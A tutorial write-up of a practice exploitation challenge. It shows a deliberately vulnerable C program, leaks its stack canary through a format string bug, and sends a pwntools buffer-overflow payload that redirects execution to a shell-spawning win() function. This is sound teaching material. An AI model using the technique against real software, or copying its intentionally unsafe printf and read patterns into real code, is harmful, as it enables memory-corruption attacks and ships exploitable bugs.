Stack Canary Bypass with Format String Leak
Challenge 5: Stack Canary Bypassing with Format String Leak (5_simple.c
)
Source Code:
#include <stdio.h>
#include <stdlib.h>
void vuln() {
char friend_name[32] = {0};
printf("What is your friends name: \n");
read(0, friend_name, 32);
printf(friend_name); // Format string vulnerability
char name[32] = {0};
printf("Your name is: \n");
read(0, name, 256); // Buffer overflow: 256 bytes into 32-byte buffer
printf("Hello %s\n", name);
}
int main() {
vuln();
return 0;
}
int win() {
system("/bin/sh");
return 0;
}
// Compiled: gcc -Wall -Wextra -Iinclude -g -no-pie -Wl,-z,norelro -o bin/5_simple src/5_simple.c
Challenge Overview
The 5_simple.c
program demonstrates a stack canary bypass technique using a format string vulnerability to leak the canary value, then using it in a buffer overflow attack. This challenge combines two common vulnerabilities: format string bugs and buffer overflows, showing how they can be chained together for exploitation.
Vulnerability Analysis
Format String Vulnerability
File: src/5_simple.c:7-10
char friend_name[32] = {0};
printf("What is your friends name: \n");
read(0, friend_name, 32);
printf(friend_name); // Format string vulnerability
The program directly passes user input to printf()
without a format specifier. This allows attackers to use format string specifiers like %p
, %x
, and %s
to read arbitrary memory locations from the stack.
Buffer Overflow Vulnerability
File: src/5_simple.c:12-15
char name[32] = {0};
printf("Your name is: \n");
read(0, name, 256); // Buffer overflow: 256 bytes into 32-byte buffer
The second vulnerability allows 256 bytes to be written into a 32-byte buffer, creating a classic buffer overflow that can overwrite the return address.
Stack Canary Protection
This binary is compiled with stack canaries enabled (no -fno-stack-protector
flag), which places a random value between local variables and the return address. If the canary is corrupted, the program terminates with a stack smashing detection error.
Now when we try to overflow the buffer we get the following:
./bin/5_simple
What is your friends name:
%p
0x7fffffffdd50
Your name is:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
*** stack smashing detected ***: terminated
What we now can do is check where the stack canary position on the stack is from that part:
./bin/5_simple
What is your friends name:
%13$p %14$p %15$p %16$p %17$p %18$p
0x7ffff7fe5af0 0x7fffffffde80 0x345fa2b0943d0800 0x7fffffffde40 0x7ffff7c2a1ca %Your name is:
Your name is : 18$p
ian@vps:~/pwn/pwnpractice$ ./bin/5_simple
What is your friends name:
%15$p
0x8d484f0e07a36c00
Your name is:
So the 15th position, this is what we first will input
You can always validate this with the gdb command canary
it will always end with 00
Exploitation Strategy
The exploit works in two phases:
Phase 1: Canary Leak via Format String
File: solves/5_simple.py:23-38
canary_leak_fmt = b"%15$p"
io.sendlineafter(b"What is your friends name:", canary_leak_fmt)
# Receive until we find the 0x... line
leak = b""
while b"0x" not in leak:
leak = io.recvline().strip()
canary_value = int(leak, 16)
The %15$p
format specifier accesses the 15th parameter on the stack, which happens to be the location of the stack canary. The $
notation allows direct parameter access without consuming previous arguments.
Phase 2: Stack Canary Bypass
File: solves/5_simple.py:40-47
payload = b"A" * 40 # buffer
payload += p64(canary_value) # stack canary
payload += b"B" * 8 # saved rbp
payload += p64(0x4012aa) # win function
The payload structure:
- 40 bytes: Fill the 32-byte buffer + 8 bytes to reach the canary
- 8 bytes: The leaked canary value (prevents stack smashing detection)
- 8 bytes: Padding for saved RBP
- 8 bytes: Address of
win()
function (0x4012aa
)
Stack Layout Analysis
[name buffer - 32 bytes]
[padding - 8 bytes]
[stack canary - 8 bytes] <- Position 15 in format string parameters
[saved rbp - 8 bytes]
[return address - 8 bytes]
The format string vulnerability allows us to read the canary at stack position 15, which we then use to construct a valid overflow payload.
Key Learning Points
- Format String Parameter Access: Using
%n$p
notation to directly access stack positions - Canary Location: Understanding where stack canaries are placed relative to local variables
- Vulnerability Chaining: Combining multiple vulnerabilities (format string + buffer overflow) for exploitation
- Stack Layout: Recognizing the standard x86_64 stack frame structure
Compilation Flags
gcc -Wall -Wextra -Iinclude -g -no-pie -Wl,-z,norelro -o bin/5_simple src/5_simple.c
Security mitigations:
- Stack canaries enabled (default): Random values protect return address
- NX bit enabled (default): Stack is not executable
- ASLR disabled (
-no-pie
): Predictable addresses for win function - RELRO disabled (
-Wl,-z,norelro
): Global Offset Table is writable
Execution Flow
- Program prompts for friend's name
- User sends format string payload (
%15$p
) to leak canary - Program prints canary value from stack position 15
- Program prompts for user's name
- User sends buffer overflow payload with correct canary value
- Stack canary validation passes
- Return address is overwritten with
win()
function address - Shell is spawned via
system("/bin/sh")
This challenge demonstrates why format string vulnerabilities are particularly dangerous when combined with other memory corruption bugs, as they can defeat stack protection mechanisms.
-- Try it yourself with my Github Repo - Exploit Development Step-by-Step There you are able to check the whole code and also the full exploit script.